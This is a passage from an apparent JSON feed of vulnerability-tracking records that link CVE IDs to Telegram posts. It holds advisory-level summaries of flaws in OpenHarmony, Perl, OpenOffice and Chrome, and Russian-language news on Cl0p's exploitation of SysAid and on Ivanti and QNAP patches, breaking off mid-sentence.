"5e3f4c2d-8647-46a8-93a6-1ef331d2a558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/cibsecurity/74171", "content": "\u203c\ufe0fCVE-2023-47216\u203c\ufe0f\n\n in OpenHarmony v3.2.2 and prior versions allow a local attacker cause DOS through occupy all resources  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:49.000000Z"}, {"uuid": "cd9b80c3-8c8c-4982-bcc4-d524a9e36cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://t.me/cibsecurity/74170", "content": "\u203c\ufe0fCVE-2023-47039\u203c\ufe0f\n\nA vulnerability was found in Perl. This security issue occurs while Perl for Windows relies on the system path environment variable to find the shell cmd.exe. When running an executable that uses the Windows Perl interpreter, Perl attempts to find and execute cmd.exe within the operating system. However, due to path search order issues, Perl initially looks for cmd.exe in the current working directory. This flaw allows an attacker with limited privileges to placecmd.exe in locations with weak permissions, such as CProgramData. By doing so, arbitrary code can be executed when an administrator attempts to use this executable from these compromised locations.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:44.000000Z"}, {"uuid": "8b78d852-8a09-42b7-aff0-b76341a48ceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/proxy_bar/1829", "content": "CVE-2023-47246\n\u0410 \u0432\u043e\u0442 \u0438 0day \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044e\u0437\u0430\u044e\u0442 \u0440\u0430\u043d\u0441\u043e\u043c\u044b \u0438\u0437 Cl0p \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 SysAid\n*\nexploit\n*", "creation_timestamp": "2023-11-17T20:36:38.000000Z"}, {"uuid": "59bbb3c4-ba8b-4403-8e45-5bee8ab97c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4714", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1187", "content": "", "creation_timestamp": "2023-09-24T02:26:29.000000Z"}, {"uuid": "8911db50-b594-4f97-bf93-39e3ff99a729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/cibsecurity/73990", "content": "\u203c\ufe0fCVE-2023-47804\u203c\ufe0f\n\nApache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose.  Links can be activated by clicks, or by automatic document events.  The execution of such links must be subject to user approval.  In the affected versions of OpenOffice, approval for certain links is not requested when activated, such links could therefore result in arbitrary script execution.  This is a corner case of CVE202247502.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:42:03.000000Z"}, {"uuid": "9ad7d559-a060-4b36-b13a-5624cd77d024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47096", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1304", "content": "", "creation_timestamp": "2024-11-17T03:13:55.000000Z"}, {"uuid": "84be8585-5763-4225-aad0-8c10ba38fce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4764", "type": "seen", "source": "https://t.me/cibsecurity/69927", "content": "\u203c CVE-2023-4764 \u203c\n\nIncorrect security UI in BFCache in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:40.000000Z"}, {"uuid": "8a52bfc7-5df1-4532-a95e-4f814dfae30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/true_secator/5068", "content": "\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 Cl0p \u043d\u0430\u0449\u0443\u043f\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e 0-day, \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0432 \u043a \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0443\u043f\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 SysAid.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IT \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 CVE-2023-47246, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b ransomware.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Microsoft, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0441\u043f\u0435\u0448\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u0442\u044c SysAid \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b, \u0447\u0442\u043e \u0435\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 SysAid \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a RCE.\u00a0\n\nSysAid \u0443\u0437\u043d\u0430\u043b\u0430 \u043e 0-day 2 \u043d\u043e\u044f\u0431\u0440\u044f, \u0430 8 \u043d\u043e\u044f\u0431\u0440\u044f \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 23.3.36, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u0430 \u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c. \u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, IoC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438.\u00a0\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, CVE-2023-47246 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c Lace Tempest (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043a\u0430\u043a DEV-0950), \u0447\u044c\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 FIN11 \u0438 TA505. \u0412\u0441\u0435 \u043e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Cl0p.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 Microsoft \u0440\u0430\u043d\u0435\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043b\u0430 \u0441 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439\u00a0\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 MOVEit Transfer\u00a00-day, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 2500 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 SysAid \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0418\u0422-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 MeshAgent \u0438 GraceWire. \u0414\u0430\u043b\u0435\u0435, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0431\u043e\u043a\u043e\u0432\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 ransomware.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c SysAid, \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442 PowerShell, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u044b \u0438 \u0443\u043b\u0438\u043a\u0438 \u0441 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0411\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438.", "creation_timestamp": "2023-11-09T18:00:08.000000Z"}, {"uuid": "7a44f55a-54de-4e55-857e-bc72240bb3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, 